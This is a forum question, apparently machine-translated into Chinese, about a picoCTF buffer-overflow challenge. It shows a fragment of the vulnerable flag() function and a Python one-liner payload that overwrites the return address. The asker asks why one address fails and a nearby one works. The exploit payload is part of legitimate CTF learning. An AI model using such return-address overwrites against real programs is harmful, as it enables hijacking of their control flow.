对于picoCTF,我必须通过溢出缓冲区并将返回地址更改为将读取文件的函数来读取受限制的.txt文件。我已经做到了,但是当它运行时,它说“当前目录中缺少'flag.txt'!”
我尝试了其他方法来获得相同的结果,但是由于我不太擅长汇编,所以出现了问题。
define BUFFSIZE 64
define FLAGSIZE 64
void flag() {
char buf[FLAGSIZE];
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("'flag.txt' missing in the current directory!\n");
exit(0);
}
}
$ ls
flag.txt vuln vuln.c
$ python -c“ print'a'* 72 +'\ x8b \ x07 \ x40'” | ./vuln
'flag.txt' missing in the current directory!
我希望打印该文本文件,但是它声称它不存在。
感谢您给我启发来解决问题。我也是CTF竞赛的新手。此问题的技巧可能存在于寄信人地址中。 '\ x68 \ x07 \ x40'(而不是\ x8b \ x07 \ x40')效果很好,但是我不知道为什么objdump为标志功能提供返回地址'\ x67 \ x07 \ x40'。
希望比赛结束时有人可以写详细的文章。